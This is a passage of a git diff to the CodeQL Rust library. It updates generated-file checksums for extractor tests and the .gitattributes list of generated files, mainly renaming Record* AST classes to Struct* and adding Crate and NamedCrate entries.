-test/extractor-tests/generated/RecordExprFieldList/RecordExprFieldList_getAttr.ql 15b297e79c1ba8c92cb97148d6aab78ed1fd2c94f0d3a430ead8d541024e81ce 4f0a131011cf32e172f7bd027769e39642fb506d37b3d50b175c6ed5947d3d9c
-test/extractor-tests/generated/RecordExprFieldList/RecordExprFieldList_getField.ql c55e4775c8880c05944be04bdeb1c9e6bad45b922ba71ac3145acd83ff988e59 14ce98d1e5564e9e27c29110237cf6210d130ea887920b2b1bd34a853b7fcc63
-test/extractor-tests/generated/RecordExprFieldList/RecordExprFieldList_getSpread.ql f2dd6b85da1cd8195986aefbe7dc8171db6fbbe5b2612c4cbdd8aba052cb0c6a 2c19cb1510c215ddfa004d40bf30fc0fe0dcbb530c320b297541f1dbcb204143
-test/extractor-tests/generated/RecordField/RecordField.ql b1f14a17b6f2e581c2a1e882a7405351ded14c565375b99a0119fafed93a2b09 b7d74549a4f7556e79fcbdb79748905fb13d13cd01de3d551cb5898b1d0af87a
-test/extractor-tests/generated/RecordField/RecordField_getAttr.ql aa29d317dee23039a807df530a6f04b0678c4d1d34207a4381be535ff04af478 41c5778d6316eec19192334046ed110aea44a4c45937d5c355a9b71c54aa8e04
-test/extractor-tests/generated/RecordField/RecordField_getName.ql 1f5c47d41367bd0115df86f22a70d4621d7cbfb41554daa598da29f549479670 64535303b273f1c2027b6ce89b50816ad3cbbca9bf00b2b8402e36b26e675d97
-test/extractor-tests/generated/RecordField/RecordField_getTypeRepr.ql f61cfcd0c682604b882a4ed9c746e6f6087e4798d7aaf9d29579e0e2372406e6 01371887fa82748ef196d2e9d27d26c586efb5b4f82d48967b5494723c54af4d
-test/extractor-tests/generated/RecordField/RecordField_getVisibility.ql cc45e9bb9418d15cef07a1827358c3f18a8737324c8e6852591a2da70df89360 45557497fc165a212fffda71dedabc8159a4f72323430df732698a18922b366c
-test/extractor-tests/generated/RecordFieldList/RecordFieldList.ql 586bccfa550243177d9fdfd6900a473f51a76ed360b537f19cb300330d5dad5b a063373dfdbf06b68c69694ea4ae72a26b906c910f9095894c09e72f8fb52819
-test/extractor-tests/generated/RecordFieldList/RecordFieldList_getField.ql 2eb92ef8528204f3f105c19a36cdc06b3b6d20242463ff2ed1fb81c544812a71 d69091899e7157099f117e14fe60cd3705cfda45f28f6a6a2b7234a4a9c1e664
-test/extractor-tests/generated/RecordPat/RecordPat.ql 24469c2a0902196d49249a37a0b56bf9fe62d1e7af3150813200b25ccb46dfaa 479e58d4fe6db7048e0649fd5a9c1b8ca1ceb8aa52a80dd07a999a07e32b0a3f
-test/extractor-tests/generated/RecordPat/RecordPat_getPath.ql 187b8d44de158fc809257e28b2e8fdd246c8eb3c60115d54cd53396a320e372d 74813fd13c6f34927420ed44620743f7c80c537984e0db72c1c5f4b754b40b83
-test/extractor-tests/generated/RecordPat/RecordPat_getRecordPatFieldList.ql 32e45a6f59cdb8edbf7f9326164e225a7f545fabd2dd168b660699954a999fdf 325c9121dc130459426b473691876a0698b51d5cdf4530698a398510ce8e3051
-test/extractor-tests/generated/RecordPat/RecordPat_getResolvedCrateOrigin.ql 61a47db765e0c45797d3f92318fb6dbf07dfe1a2e63704294c58d49cb0894676 86a636746458053278a8ba0be062a9b1cfcad4866e065a8317fa8f033518ecae
-test/extractor-tests/generated/RecordPat/RecordPat_getResolvedPath.ql 0221208e93c4a26e555dd848238b4f5bcabf2ccf3fc38ceb2eef45c39d67b21a 37d80014a21a19e9132ad645a17234e33bb20f2352b450277b8fa919a54b95e9
-test/extractor-tests/generated/RecordPatField/RecordPatField.ql 6c51343258e56673d21b7ae73e7de011319ffa2eb65390e697f875bb428d25d1 82c3232db0cb353140618749b1cba5549b0ff43cbbaafb203077e18dbedb2c10
-test/extractor-tests/generated/RecordPatField/RecordPatField_getAttr.ql fb0592f7a1be4fd9c6f36c79dee5a0f6711b0a7820b079f8e95413722ae1aeb7 9dfb0de00ec9c4a23efd38515c63a3567204f2a3ac2634858296f58aa564d170
-test/extractor-tests/generated/RecordPatField/RecordPatField_getNameRef.ql 3380a41d6cecd80681fc955719fa11377c32a5e0be276871f2d0d75ae62d8f0a 44efe89657d3a59fb94962d0fbf52d06571e203863a3d9e9dd47a5135a8ba4d9
-test/extractor-tests/generated/RecordPatField/RecordPatField_getPat.ql 577187a4775283bbce66abcb54af50e5684e1f03f8b55e59d84f1914d142b04f 7c23778ad92a6dccf193abb269bd8fbcb33f3b778eb18c6d23135540a27fcec7
-test/extractor-tests/generated/RecordPatFieldList/RecordPatFieldList.ql 5a49488f43bbac2349d75b3acbb3bca4440d9b3725434fefd1ba2eda2be6feb2 898177f203181e5e095091b0a3f6a92f1323c80862400cbfd85902d783a9160d
-test/extractor-tests/generated/RecordPatFieldList/RecordPatFieldList_getField.ql 7c0d190762089af3b6f4fb9ef95561bb2107d7476477bdcfce6b313caa61cab1 17c85ac9670c4faea44a76e9e21184a3d5cabc6c3deba083a0b84fb91e3cbe16
-test/extractor-tests/generated/RecordPatFieldList/RecordPatFieldList_getRestPat.ql 0caef1f5d09a73a973200e061e09ea5498b855dc19af19c1dc48cd9f20da6857 45c12708b566a5efcc79155b45174fc3ff5a084109043493cffa5216b9054205
 test/extractor-tests/generated/RefExpr/RefExpr.ql 27d5dceb9e50668e77143ff5c4aa07cbe15aeea9829de70f1ddfe18d83690106 b95058b7a0bad4bddb857794901d9b651b2f9e4dd3554e5349a70a52cbbfaff6
 test/extractor-tests/generated/RefExpr/RefExpr_getAttr.ql 477fb3fee61395fabf78f76360ea27656432cb9db62e6f1dab1e9f3c75c83d39 5210f2ac54c082b616d8dcb091659cdad08a5d4ae06bf61193c33f208237482f
 test/extractor-tests/generated/RefExpr/RefExpr_getExpr.ql 180d6417fd7322cabf4143d0ddd7810f65506b172a5c82484b3ef398041636b2 a291f0bec1ec5b3fa6d088b3d1a658889b9a3521c39ff3bb7a5ab22a56b8b20a
@@ -1099,6 +1074,39 @@ test/extractor-tests/generated/Struct/Struct_getGenericParamList.ql cd7245271300
 test/extractor-tests/generated/Struct/Struct_getName.ql 8f1d9da4013307b4d23a1ce5dc76466ecdd7f0010b5148ec2e7dd2883efe3427 411b326d15d56713c2a5e6d22909474c5d33062296518221e36c920927f859fe
 test/extractor-tests/generated/Struct/Struct_getVisibility.ql 17139d3f91e02a0fc12ad8443fe166fe11003301fee0c303f13aa6d1138e82d5 07bdc1fbcc0ea40508364ea632fce899cbe734159f5c377ea2029bc41bc9a3b4
 test/extractor-tests/generated/Struct/Struct_getWhereClause.ql d0db2c9811ed4568359e84255f04f0c75ae65a80d40981a1545d6cddf53e9c09 1133a46bc502757aaab61a8ac94b4a256b590548c5e27ec6a239ffd5a4a81577
+test/extractor-tests/generated/StructExpr/StructExpr.ql 5bdc2163b7ddd0bc3eb938acc366105590742c417b09ed814b9c4d5d78b9b90a e59a4973aa882879f1940a955020df91fb588f004d7ea83866f52b0930e46763
+test/extractor-tests/generated/StructExpr/StructExpr_getPath.ql f6f2b26a93b24d19f74eab73518eaa688ec270f865764fb9b839ae7e029b10bd bd963650f78009ac44a2aa14f0e53f10e832a73cc69d5819ea89865874113040
+test/extractor-tests/generated/StructExpr/StructExpr_getResolvedCrateOrigin.ql c2794babda0823c62c2af6fe9e3b11d8e4b6baa8095bf8f01faee13b4894ff67 cba6a7576a572238c59142e46cc398c5f31cd91c8d1710381d579bb6bb0edb7c
+test/extractor-tests/generated/StructExpr/StructExpr_getResolvedPath.ql 5152d15064daa1da4470cdc659a07281734d56ed958e67efc54701eb44d550dc a7a78db088b0dd7b7c148ad24c8faa014e2eab29146e056bdf35bef5ca2f8485
+test/extractor-tests/generated/StructExpr/StructExpr_getStructExprFieldList.ql 1c2401038fe14e660d5101951e7467dc3a56969698a8cc5b818d664902b269bc f6b7047112ade49b632d2e3f71531dd2dffe7c2cc848587908fa4b85dc06ee82
+test/extractor-tests/generated/StructExprField/StructExprField.ql f054440c074461bdb00506e775be346efc4faf8afd3e55d61f72c8776d1d4bd5 8bfacfa4864309157b6795de26e6c37676ad627e2e8771dfdc8abe57ff269c92
+test/extractor-tests/generated/StructExprField/StructExprField_getAttr.ql 660400f80824956422b95923519769df08514f089269c7a5ccc14036b90b233d f137716537f8780ad63bd6af0da06a96f0d00cb7a35402d3684e6866112b9d1a
+test/extractor-tests/generated/StructExprField/StructExprField_getExpr.ql 00180d982057ee23297578d76bf1a337fde8341f0520ebfa5786c8564884ae5a c2b813c25df4ffc49486426365cc0cc0bbf07cf0c7d7adece7e6576fc8b776dc
+test/extractor-tests/generated/StructExprField/StructExprField_getIdentifier.ql 9bacb8d6590d5cde340443c4d0963a8ef8ddf434f912a28b04f9dd9f76504f3b 1a2209ee1086873dd2b07979b089bbab849283bfb8f44ba3deb5ff480acc1cbd
+test/extractor-tests/generated/StructExprFieldList/StructExprFieldList.ql 33dc3f6c1f737e0ca2015530467bfa123eac0eb8ab63f2937ad0064f2246fb2d b89d5817c6a249232540570ef93ecf880a8ef74aa409c7cd8ddbc83f6d589fea
+test/extractor-tests/generated/StructExprFieldList/StructExprFieldList_getAttr.ql cd7f5236f6b660fc064f3a04f3a58d720ed4e81916cbd1a049c1fac7171108ed 61317928d0833f7bb55255a5045bedc0913db1266e963ede97d597ee43e3ddd9
+test/extractor-tests/generated/StructExprFieldList/StructExprFieldList_getField.ql 1292aec1141bdb75fd8e0993f683035f396a0e6c841b76ee86a0a1d3dce0dbc4 450eccbd07cc0aa81cef698f43d60aeb55f8952a573eaf84a389a6449c3d63a7
+test/extractor-tests/generated/StructExprFieldList/StructExprFieldList_getSpread.ql d0470b9846323d0408e0f26444cdc5322d78ce1ac203073ff4f556dac5343be7 280712a0b3714256aff4c2a4370fd43e70c418f526e383ed7100d61cdf790c36
+test/extractor-tests/generated/StructField/StructField.ql 7943d00e32171da93fae8215456c79b2df590cffa7241f4c0e78b0d7d525b1b2 6d5e3825075d2cb4438adf699a5a92ce22301ea58888d63ea336118bf29c0205
+test/extractor-tests/generated/StructField/StructField_getAttr.ql a01715bc688d5fa48c9dd4bfab21d0909169f851a290895c13a181f22c0e73a9 fa6ffcf007492d9e1b7f90d571b9747bd47b2dc29e558a8e1c3013c5949dcdb7
+test/extractor-tests/generated/StructField/StructField_getDefault.ql deccc63b81892cd1b293d8b328ad5b3efdf32892efc8b161dfcd89330ca6b5a2 9a9f306f63208ce30d26f91dd15b94867a7d9affd31a0f51a3d1d2ce50786abc
+test/extractor-tests/generated/StructField/StructField_getName.ql 4c5a7e00b758a744a719bff63d493ee7d31ff8b3010e00c1d1449034d00130ec 9b284d848e5c86eac089f33deca7586441a89d927e7703cb4f98bb7c65a7238c
+test/extractor-tests/generated/StructField/StructField_getTypeRepr.ql 3f36890b9ced576327d0fb6e3c80c6482c3a6d6f751fa769b24b2c14a46f8ee8 aed0681a3928b965f1448954d3a0369238a3cd715b97a0d988d15b971bf45356
+test/extractor-tests/generated/StructField/StructField_getVisibility.ql 335d097fabbc9720b065248cd1c295fe8dc040bf646ce491244b6840d9a847d3 9a9073eb52cd401b07beb4eb0aef7a15d5d398d0c76c35416ffcb059a360d654
+test/extractor-tests/generated/StructFieldList/StructFieldList.ql 02635fb8b0bccb4cb8be71a2b103c6854192dd0300669127ce74590566b0b163 62e4151cbc47ec7bd10cb9f711587454d8fcf64fb54f279b82eefcf20028c37f
+test/extractor-tests/generated/StructFieldList/StructFieldList_getField.ql b70e569d48109f57a1a765fcab2329adce382a17258c4e93a57f540a408b1836 1d6a65b7ac1ed8fd0e966132ec9ecbb425fa7ca501a2cd1db7269f9534415f30
+test/extractor-tests/generated/StructPat/StructPat.ql 2fa9b13ad6752a1296908c76caf3778dfd7d31e1ffc581011366208dfc3288a4 5a61ae9056a153b526d07c451a55f3959ce90adf762fe6c31f434fae27086d5d
+test/extractor-tests/generated/StructPat/StructPat_getPath.ql 03fb1254cc797239de302fbf1ad1b4e7e926e2ec4423221fbec06425e3647f63 9ab60ad1f16d4fb04d3de9f8f05d959fc90c42bb8f0dfc04ccc906897f5c1633
+test/extractor-tests/generated/StructPat/StructPat_getResolvedCrateOrigin.ql e3188ae0bb8835ad4aed5c775b52afb6cc7f9c520a8f62140d6cc590f2b8ce5d fd3e6eaf185e933e5ab1566cc49ef3497e50608070831879e01cf5a5ec23eae5
+test/extractor-tests/generated/StructPat/StructPat_getResolvedPath.ql 1f4be7d78b187997093d52729d985dceb4c9e918274e0b9f06585e3337e3044b 2533855f07fce230dd567b2192ee20168bca077dbf7f1e8489dec142fcd396b8
+test/extractor-tests/generated/StructPat/StructPat_getStructPatFieldList.ql f7b6dadd6ed0e40fb87e4be6eabe7fb96931b8c910c443588147202707655ced a43de755e0ca786a491afc97805e34d787c7bd03e7bca8df090e9386d4019688
+test/extractor-tests/generated/StructPatField/StructPatField.ql e6f468111706d4254b6c3e686c31e309c11b4246d8ed7eb288dd349ec0787c12 7ab1b5ead54fe09daf3d4cc6d8eb3e39fe253bede8822187de1a74a10cc59e01
+test/extractor-tests/generated/StructPatField/StructPatField_getAttr.ql 5e1df4f73291bbefda06437859aef73457fe58a22c134ceb9148cfcc19b696e7 69aea129500dca110023f03c6337e4b1a86627d6d51c43585534cf826db13d04
+test/extractor-tests/generated/StructPatField/StructPatField_getIdentifier.ql bf44755d6b82d69610de44cab2d49362b10621589948b68480d80412acec820a ec06b8f947cdaca913fd44685e5ce2bf52281306808cbb17e7e88118c897f877
+test/extractor-tests/generated/StructPatField/StructPatField_getPat.ql bb3e9ad8cdaac8723504fffbafa21acc95c5bce7843fc6f3641e98758d93573f 77e6f9946e66a25ac70622e65c164413e7001f4b8e9361a0850171fc0cead935
+test/extractor-tests/generated/StructPatFieldList/StructPatFieldList.ql fad84896295380e3576bfaef384ac88b2f96a73196d8df3ec39ecc6184ec053f 3dd63ce5d1ffd48c873397368c6229de8da37e8f694f395165af8257a4d2faf2
+test/extractor-tests/generated/StructPatFieldList/StructPatFieldList_getField.ql 4e6fa98e48d474f31585a644d6045b7d8427a76bb04810728ad121a43b59e8a2 e3b1d915aae3e3c3df752146e222df71667f73731d7337cc2eb391b13f097315
+test/extractor-tests/generated/StructPatFieldList/StructPatFieldList_getRestPat.ql 4be5b8afebc081602429d7cfb1fd87de629abc17f3739131c93f7e0b3adaec3d d5ced2366c5a278e820261239c4de183517dadf9bc8496f3e568758ab9570752
 test/extractor-tests/generated/TokenTree/TokenTree.ql ba2ef197e0566640b57503579f3bc811a16fec56f4817117395bf81da08922a6 2e7b105cb917a444171669eb06f5491a4b222b1f81fa79209a138ab97db85aff
 test/extractor-tests/generated/Trait/AssocItemList.ql 0ea572b1350f87cc09ce4dc1794b392cc9ad292abb8439c106a7a1afe166868b 6e7493a3ace65c68b714e31234e149f3fc44941c3b4d125892531102b1060b2f
 test/extractor-tests/generated/Trait/AssocItemList_getAssocItem.ql 8149d905f6fc6caeb51fa1ddec787d0d90f4642687461c7b1a9d4ab93a27d65d 8fb9caad7d88a89dd71e5cc8e17496afbdf33800e58179f424ef482b1b765bb1
@@ -1168,13 +1176,13 @@ test/extractor-tests/generated/TypeParam/TypeParam_getName.ql 9d5b6d6a9f2a5793e2
 test/extractor-tests/generated/TypeParam/TypeParam_getTypeBoundList.ql 080a6b370ad460bf128fdfd632aa443af2ad91c3483e192ad756eb234dbfa4d8 8b048d282963f670db357f1eef9b8339f83d03adf57489a22b441d5c782aff62
 test/extractor-tests/generated/UnderscoreExpr/UnderscoreExpr.ql 4ad6ed0c803fb4f58094a55b866940b947b16259756c674200172551ee6546e0 d3270bdcc4c026325159bd2a59848eb51d96298b2bf21402ea0a83ac1ea6d291
 test/extractor-tests/generated/UnderscoreExpr/UnderscoreExpr_getAttr.ql d8502be88bcd97465f387c410b5078a4709e32b2baa556a4918ea5e609c40dd7 b238dc37404254e3e7806d50a7b1453e17e71da122931331b16a55853d3a843f
-test/extractor-tests/generated/Union/Union.ql 1049e542ca7723490d05e20b5a7a5867f74a5126395f333eae512aeb05efefd6 1f1cd82337e7ade9d02d16123201bbff62983c537672b5c1babfe6b65d300e82
+test/extractor-tests/generated/Union/Union.ql 2cbbdf085667e0741322cd21288d7987d6bdba72fb1b930aaf589494f5f9ea5e 2e64f70926141ea56aa14cc3122c522407f2f45ab9dc364ef4a3e3caf171befa
 test/extractor-tests/generated/Union/Union_getAttr.ql 42fa0878a6566208863b1d884baf7b68b46089827fdb1dbbfacbfccf5966a9a2 54aa94f0281ca80d1a4bdb0e2240f4384af2ab8d50f251875d1877d0964579fc
 test/extractor-tests/generated/Union/Union_getCrateOrigin.ql c218308cf17b1490550229a725542d248617661b1a5fa14e9b0e18d29c5ecc00 e0489242c8ff7aa4dbfdebcd46a5e0d9bea0aa618eb0617e76b9b6f863a2907a
 test/extractor-tests/generated/Union/Union_getExtendedCanonicalPath.ql 6268ddb68c3e05906e3fc85e40635925b84e5c7290746ded9c6814d362033068 04473b3b9891012e95733463018db8da0e96659ea0b10458b33dc857c091d278
 test/extractor-tests/generated/Union/Union_getGenericParamList.ql c55156ae26b766e385be7d21e67f8c3c45c29274201c93d660077fcc47e1ceee 4c4d338e17c32876ef6e51fd19cff67d125dd89c10e939dfaadbac824bef6a68
 test/extractor-tests/generated/Union/Union_getName.ql 17247183e1a8c8bbb15e67120f65ca323630bddeb614fa8a48e1e74319f8ed37 e21c2a0205bc991ba86f3e508451ef31398bdf5441f6d2a3f72113aaae9e152b
-test/extractor-tests/generated/Union/Union_getRecordFieldList.ql ded2890094adaa627be35f2a8335abbe5c1d4b5dcf1671f09f504546148cc02e 1f0d94a5c3259b8c39f2a78f1f9250655c6183a5277131a7f3de14126eee6d03
+test/extractor-tests/generated/Union/Union_getStructFieldList.ql ae42dec53a42bcb712ec5e94a3137a5c0b7743ea3b635e44e7af8a0d59e59182 61b34bb8d6e05d9eb34ce353eef7cc07c684179bf2e3fdf9f5541e04bef41425
 test/extractor-tests/generated/Union/Union_getVisibility.ql 86628736a677343d816e541ba76db02bdae3390f8367c09be3c1ff46d1ae8274 6514cdf4bfad8d9c968de290cc981be1063c0919051822cc6fdb03e8a891f123
 test/extractor-tests/generated/Union/Union_getWhereClause.ql 508e68ffa87f4eca2e2f9c894d215ea76070d628a294809dc267082b9e36a359 29da765d11794441a32a5745d4cf594495a9733e28189d898f64da864817894f
 test/extractor-tests/generated/Use/Use.ql b20f6221e6ee731718eb9a02fa765f298ad285f23393a3df0119707c48edd8b3 9ab45d9b3c51c6181a6609b72ebd763c336fee01b11757e7f044257510bd7f3f
@@ -1190,10 +1198,10 @@ test/extractor-tests/generated/UseTree/UseTree_getRename.ql ec3917501f3c89ac4974
 test/extractor-tests/generated/UseTree/UseTree_getUseTreeList.ql c265a88347e813840969ae934dfd2904bc06f502de77709bc0b1c7255e46382a 52a239c8ea5fd8fbfbd606559d70ecadc769887437a9bcab6fb3e774208ad868
 test/extractor-tests/generated/UseTreeList/UseTreeList.ql cd943c15c86e66244caafeb95b960a5c3d351d5edbd506258744fb60a61af3b2 cfa584cd9d8aa08267fd1106745a66226b2c99fadd1da65059cc7ecf2f2e68cf
 test/extractor-tests/generated/UseTreeList/UseTreeList_getUseTree.ql dd72966b1cb7b04f0267503013809063fcfb145e2b2d7d5250d9f24d2e405f9a 75b953aa11c51ca0fe95e67d50d6238962d8df4a4b9054999a2c6338e5a5613d
-test/extractor-tests/generated/Variant/Variant.ql c60dd31adac91e09f8b1e5523d6b859747e64ef072c077b5a3326763f9f461f7 55d6446a3a831ed1137264678c5df027eb94cb3570a88d364994851fe6236999
+test/extractor-tests/generated/Variant/Variant.ql 861e349a2c11571eb027e740b4bf29c0ce98b0f1342e45b364bb5fcbaa487d91 5825b12837862765e23ed09c08c146cc292b2305aadc531ad826ad5bb36f9cdc
 test/extractor-tests/generated/Variant/Variant_getAttr.ql dd38e48e1eb05ce280b880652a90010eb63f7de3be7232411ba6265691249420 f8980680104de1e5fd40f264d8d62346aacaf6403a5e051f6fd680e234c82c1f
 test/extractor-tests/generated/Variant/Variant_getCrateOrigin.ql 99e79930f8ff87a25f256926e5c3ce1ee0847daf6fadc5445fb33c85328b4c61 2dd64a53813790654c83be25b5e175c9c5b388e758723c2138fff095353fdd7b
-test/extractor-tests/generated/Variant/Variant_getExpr.ql ce00af303d28f60c5fd1dc7df628c7974aced21884e223a2f656cb4f0d1a74d5 9de51a65510cf9a15801d4207b616915bd959c95ec7330fdb502c5dff5b650cc
+test/extractor-tests/generated/Variant/Variant_getDiscriminant.ql 2adba17d4acd790ea7ff738a23fc8d691e40bbc0e1770bc0f15a6a6f0f1b37f2 6e28a8aef3cde78ce8db50e4a48c663d1aacd7a4cc8c212e7c440160da7ae4c2
 test/extractor-tests/generated/Variant/Variant_getExtendedCanonicalPath.ql fe6a4bfd1440e7629d47283910de84c5e8c2f5645512780e710f53540b5bc886 b1e31b765cb1a5fe063abb8c1b2115e881ae28aa3ccd39e088ff8f2af20d6cf4
 test/extractor-tests/generated/Variant/Variant_getFieldList.ql 083c8cf61989663de33d99b72dec231c308ccc8bb6739921465c473a07e8ea03 d03bff6945853c940acdc053b813d53b008ddab9a8bd4307826433828d4763ce
 test/extractor-tests/generated/Variant/Variant_getName.ql 0d7b47bec9f9031c67f7b684112a84a311ef9b2efeb260bd7cd6f424011ca0d8 73565e6f965dd7fd7bb9b3408c7d7b69120e1971b67ab307fed293eb663a59ae
diff --git a/rust/ql/.gitattributes b/rust/ql/.gitattributes
index 4d5b319bc367..382565f3b86b 100644
--- a/rust/ql/.gitattributes
+++ b/rust/ql/.gitattributes
@@ -45,6 +45,7 @@
 /lib/codeql/rust/elements/ConstBlockPat.qll linguist-generated
 /lib/codeql/rust/elements/ConstParam.qll linguist-generated
 /lib/codeql/rust/elements/ContinueExpr.qll linguist-generated
+/lib/codeql/rust/elements/Crate.qll linguist-generated
 /lib/codeql/rust/elements/DynTraitTypeRepr.qll linguist-generated
 /lib/codeql/rust/elements/Element.qll linguist-generated
 /lib/codeql/rust/elements/Enum.qll linguist-generated
@@ -130,14 +131,6 @@
 /lib/codeql/rust/elements/PtrTypeRepr.qll linguist-generated
 /lib/codeql/rust/elements/RangeExpr.qll linguist-generated
 /lib/codeql/rust/elements/RangePat.qll linguist-generated
-/lib/codeql/rust/elements/RecordExpr.qll linguist-generated
-/lib/codeql/rust/elements/RecordExprField.qll linguist-generated
-/lib/codeql/rust/elements/RecordExprFieldList.qll linguist-generated
-/lib/codeql/rust/elements/RecordField.qll linguist-generated
-/lib/codeql/rust/elements/RecordFieldList.qll linguist-generated
-/lib/codeql/rust/elements/RecordPat.qll linguist-generated
-/lib/codeql/rust/elements/RecordPatField.qll linguist-generated
-/lib/codeql/rust/elements/RecordPatFieldList.qll linguist-generated
 /lib/codeql/rust/elements/RefExpr.qll linguist-generated
 /lib/codeql/rust/elements/RefPat.qll linguist-generated
 /lib/codeql/rust/elements/RefTypeRepr.qll linguist-generated
@@ -155,6 +148,14 @@
 /lib/codeql/rust/elements/Stmt.qll linguist-generated
 /lib/codeql/rust/elements/StmtList.qll linguist-generated
 /lib/codeql/rust/elements/Struct.qll linguist-generated
+/lib/codeql/rust/elements/StructExpr.qll linguist-generated
+/lib/codeql/rust/elements/StructExprField.qll linguist-generated
+/lib/codeql/rust/elements/StructExprFieldList.qll linguist-generated
+/lib/codeql/rust/elements/StructField.qll linguist-generated
+/lib/codeql/rust/elements/StructFieldList.qll linguist-generated
+/lib/codeql/rust/elements/StructPat.qll linguist-generated
+/lib/codeql/rust/elements/StructPatField.qll linguist-generated
+/lib/codeql/rust/elements/StructPatFieldList.qll linguist-generated
 /lib/codeql/rust/elements/Token.qll linguist-generated
 /lib/codeql/rust/elements/TokenTree.qll linguist-generated
 /lib/codeql/rust/elements/Trait.qll linguist-generated
@@ -182,6 +183,7 @@
 /lib/codeql/rust/elements/UseTree.qll linguist-generated
 /lib/codeql/rust/elements/UseTreeList.qll linguist-generated
 /lib/codeql/rust/elements/Variant.qll linguist-generated
+/lib/codeql/rust/elements/VariantDef.qll linguist-generated
 /lib/codeql/rust/elements/VariantList.qll linguist-generated
 /lib/codeql/rust/elements/Visibility.qll linguist-generated
 /lib/codeql/rust/elements/WhereClause.qll linguist-generated
@@ -256,6 +258,7 @@
 /lib/codeql/rust/elements/internal/ConstParamConstructor.qll linguist-generated
 /lib/codeql/rust/elements/internal/ConstParamImpl.qll linguist-generated
 /lib/codeql/rust/elements/internal/ContinueExprConstructor.qll linguist-generated
+/lib/codeql/rust/elements/internal/CrateConstructor.qll linguist-generated
 /lib/codeql/rust/elements/internal/DynTraitTypeReprConstructor.qll linguist-generated
 /lib/codeql/rust/elements/internal/DynTraitTypeReprImpl.qll linguist-generated
 /lib/codeql/rust/elements/internal/EnumConstructor.qll linguist-generated
@@ -286,7 +289,6 @@
 /lib/codeql/rust/elements/internal/GenericArgListConstructor.qll linguist-generated
 /lib/codeql/rust/elements/internal/GenericParamImpl.qll linguist-generated
 /lib/codeql/rust/elements/internal/GenericParamListConstructor.qll linguist-generated
-/lib/codeql/rust/elements/internal/GenericParamListImpl.qll linguist-generated
 /lib/codeql/rust/elements/internal/IdentPatConstructor.qll linguist-generated
 /lib/codeql/rust/elements/internal/IfExprConstructor.qll linguist-generated
 /lib/codeql/rust/elements/internal/ImplConstructor.qll linguist-generated
@@ -339,6 +341,9 @@
 /lib/codeql/rust/elements/internal/ModuleConstructor.qll linguist-generated
 /lib/codeql/rust/elements/internal/NameConstructor.qll linguist-generated
 /lib/codeql/rust/elements/internal/NameRefConstructor.qll linguist-generated
+/lib/codeql/rust/elements/internal/NamedCrate.qll linguist-generated
+/lib/codeql/rust/elements/internal/NamedCrateConstructor.qll linguist-generated
+/lib/codeql/rust/elements/internal/NamedCrateImpl.qll linguist-generated
 /lib/codeql/rust/elements/internal/NeverTypeReprConstructor.qll linguist-generated
 /lib/codeql/rust/elements/internal/OffsetOfExprConstructor.qll linguist-generated
 /lib/codeql/rust/elements/internal/OffsetOfExprImpl.qll linguist-generated
@@ -364,17 +369,6 @@
 /lib/codeql/rust/elements/internal/RangeExprConstructor.qll linguist-generated
 /lib/codeql/rust/elements/internal/RangePatConstructor.qll linguist-generated
 /lib/codeql/rust/elements/internal/RangePatImpl.qll linguist-generated
-/lib/codeql/rust/elements/internal/RecordExprConstructor.qll linguist-generated
-/lib/codeql/rust/elements/internal/RecordExprFieldConstructor.qll linguist-generated
-/lib/codeql/rust/elements/internal/RecordExprFieldListConstructor.qll linguist-generated
-/lib/codeql/rust/elements/internal/RecordExprFieldListImpl.qll linguist-generated
-/lib/codeql/rust/elements/internal/RecordFieldConstructor.qll linguist-generated
-/lib/codeql/rust/elements/internal/RecordFieldListConstructor.qll linguist-generated
-/lib/codeql/rust/elements/internal/RecordFieldListImpl.qll linguist-generated
-/lib/codeql/rust/elements/internal/RecordPatConstructor.qll linguist-generated
-/lib/codeql/rust/elements/internal/RecordPatFieldConstructor.qll linguist-generated
-/lib/codeql/rust/elements/internal/RecordPatFieldListConstructor.qll linguist-generated
-/lib/codeql/rust/elements/internal/RecordPatFieldListImpl.qll linguist-generated
 /lib/codeql/rust/elements/internal/RefExprConstructor.qll linguist-generated
 /lib/codeql/rust/elements/internal/RefPatConstructor.qll linguist-generated
 /lib/codeql/rust/elements/internal/RefTypeReprConstructor.qll linguist-generated
@@ -401,6 +395,17 @@
 /lib/codeql/rust/elements/internal/StmtListConstructor.qll linguist-generated
 /lib/codeql/rust/elements/internal/StmtListImpl.qll linguist-generated
 /lib/codeql/rust/elements/internal/StructConstructor.qll linguist-generated
+/lib/codeql/rust/elements/internal/StructExprConstructor.qll linguist-generated
+/lib/codeql/rust/elements/internal/StructExprFieldConstructor.qll linguist-generated
+/lib/codeql/rust/elements/internal/StructExprFieldListConstructor.qll linguist-generated
+/lib/codeql/rust/elements/internal/StructExprFieldListImpl.qll linguist-generated
+/lib/codeql/rust/elements/internal/StructFieldConstructor.qll linguist-generated
+/lib/codeql/rust/elements/internal/StructFieldListConstructor.qll linguist-generated
+/lib/codeql/rust/elements/internal/StructFieldListImpl.qll linguist-generated
+/lib/codeql/rust/elements/internal/StructPatConstructor.qll linguist-generated
+/lib/codeql/rust/elements/internal/StructPatFieldConstructor.qll linguist-generated
+/lib/codeql/rust/elements/internal/StructPatFieldListConstructor.qll linguist-generated
+/lib/codeql/rust/elements/internal/StructPatFieldListImpl.qll linguist-generated
 /lib/codeql/rust/elements/internal/TokenImpl.qll linguist-generated
 /lib/codeql/rust/elements/internal/TokenTreeConstructor.qll linguist-generated
 /lib/codeql/rust/elements/internal/TokenTreeImpl.qll linguist-generated
@@ -420,7 +425,6 @@
 /lib/codeql/rust/elements/internal/TupleTypeReprConstructor.qll linguist-generated
 /lib/codeql/rust/elements/internal/TupleTypeReprImpl.qll linguist-generated
 /lib/codeql/rust/elements/internal/TypeAliasConstructor.qll linguist-generated
-/lib/codeql/rust/elements/internal/TypeAliasImpl.qll linguist-generated
 /lib/codeql/rust/elements/internal/TypeArgConstructor.qll linguist-generated
 /lib/codeql/rust/elements/internal/TypeArgImpl.qll linguist-generated
 /lib/codeql/rust/elements/internal/TypeBoundConstructor.qll linguist-generated
@@ -438,12 +442,11 @@
 /lib/codeql/rust/elements/internal/UseBoundGenericArgsConstructor.qll linguist-generated
 /lib/codeql/rust/elements/internal/UseBoundGenericArgsImpl.qll linguist-generated
 /lib/codeql/rust/elements/internal/UseConstructor.qll linguist-generated
-/lib/codeql/rust/elements/internal/UseImpl.qll linguist-generated
 /lib/codeql/rust/elements/internal/UseTreeConstructor.qll linguist-generated
-/lib/codeql/rust/elements/internal/UseTreeImpl.qll linguist-generated
 /lib/codeql/rust/elements/internal/UseTreeListConstructor.qll linguist-generated
 /lib/codeql/rust/elements/internal/UseTreeListImpl.qll linguist-generated
